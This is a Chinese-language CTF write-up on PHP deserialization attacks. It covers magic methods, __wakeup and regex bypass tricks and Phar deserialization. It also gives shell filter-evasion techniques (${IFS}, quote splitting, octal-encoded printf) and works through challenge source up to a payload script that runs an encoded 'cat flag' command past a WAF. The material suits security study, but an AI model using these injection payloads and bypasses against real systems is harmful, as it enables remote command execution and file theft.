基本知识:
输出:
a:3:{i:0;s:5:"hello";i:1;s:5:"world";i:2;s:3:"!!!";}
a:代表数组array,后面的3代表有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4
Notes:1.如果变量前是protected,序列化后则会在变量名前加上\x00*\x00;
2.若是
private则会在变量名前加上\x00类名\x00
,输出时一般需要url编码;
3.若在本地存储推荐采用base64编码的形式;但在版本7.1以上则对于类属性不敏感;
4.对于类而言,序列化后的内容只有成员变量,没有成员函数;
序列化与反序列化中常见魔术方法:
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
Tricks:
1.绕过__wakeup: PHP5 < 5.6.25、PHP7 < 7.0.10
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
2.绕过部分正则:preg_match('/^O:\d+/')--匹配序列化字符串是否是对象字符串开头
1、'+'(加号)绕过(注意在url里传参时+要编码为%2B)
'O:4:"test":1:{s:1:"a";s:3:"abc";}' --->'O:+4:"test":1:{s:1:"a";s:3:"abc";}'
2、serialize(array(a)) --a为要反序列化的对象
'a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}'
3.16进制绕过字符的过滤:
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。
Phar反序列化:
介绍:phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize())。 phar://就是一种内置的流包装器。
php中一些常见的流包装器如下:
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
Phar文件结构
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。.......后面再补充,这个点我也不是很懂
trick:
${Z},${IFS}绕过空格
'' 单引号,"" 双引号拼接绕过:'l""s'-->'ls'
$(printf "\154\163")==l
s命令(\154\163为ls八进制编码
)
页面给出源码:
method = $method;
$this->args = $args;
}
function __destruct(){ //析构函数
if (in_array($this->method, array("ping"))) { //methon必须为ping才能执行下一步,所以第一个参数确定为"ping"
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result); //执行ip命令,结果放在result中
var_dump($result); //输出执行结果 很明显这里是利用点,也对应上一步methon为ping
}
function waf($str){ //waf过滤 则必须考虑绕过
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){ //unserialize()反序列化时调用
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
相关函数说明:
call_user_func_array(callable
$callback
, array$args
):调用回调函数,并把一个数组参数作为回调函数的参数
callback:
被调用的回调函数。
args:
要被传入回调函数的数组,这个数组得是索引数组。in_array(mixed
$needle
, array$haystack
, bool$strict
=false
):检查数组中是否存在某个值
needle:
待搜索的值。注意:若needle
是字符串,则比较区分大小写。
haystack
:待搜索的数组。
strict:若
第三个参数strict
的值为true
则 in_array() 函数还会检查needle
的类型是否和haystack
中的相同exec(string
$command
, array&$output
=null
, int&$result_code
=null
):执行command
参数所指定的命令
command:
要执行的命令。
output
:若提供了output
参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。 数组中的数据不包含行尾的空白字符。 注意,若数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加, 请在传入 exec() 函数之前 对数组使用 unset() 函数进行重置。
result_code
:如果同时提供output
和result_code
参数,命令执行后的返回状态会被写入到此变量。
payload:
代码审计:ctf传参-->base64_decode()解码-->unserialize()-->__construct()-->__wakeup()-->waf()-->__destruct()-->call_user_func_arrary()-->ping()
逆向倒推(不考虑过滤):flag-->ping(system("cat flagxxxx"))-->call_user_func_arrary("ping", "system("cat flagxxxx")")-->method="ping", args="system("cat flagxxxx")"-->serialize(new ease(method,args))-->base64_encode()
因为有过滤,所以args参数要进行绕过:这里尝试了很多方法都不能绕过/,直接给出answer
method = $method;
$this->args = $args;
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
//$b --> 'l""s' ==> flag_1s_here
//$b --> 'l""s${IFS}f""lag_1s_here' ==> flag_831b69012c67b35f.php
//但是最后 / 无法绕过--> $(printf "cat flag_1s_here/flag_831b69012c67b35f.php") 把cat flag_1s_here/flag_831b69012c67b35f.php进行八进制编码即可
//最终$b='$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'
$a = new ease("ping", array($b));
$a = serialize($a);
echo base64_encode($a);
?>
trick:
修改属性值绕过__wakeup
页面给出源码:
修正反序列化字符串属性个数绕过__wakeup()函数即可,这里payload就不写了
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
trick:
修改属性值绕过__wakeup
+绕过部分正则:preg_match('/[oc]:\d+:/i', $var)
页面给出源码:
参数传入fl4.php,把f序列化字符串中的O:4改为O:+4,并修正反序列化字符串属性个数绕过__wakeup()函数即可,payload就不写了
file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true); //输出file内容
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php'; //会把file设置为index.php,所以的绕过__wakeup()
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) { //过滤o(c):数字: (不区分大小写)
die('stop hacking!');
} else {
@unserialize($var); //利用点
}
} else {
highlight_file("index.php");
}
?>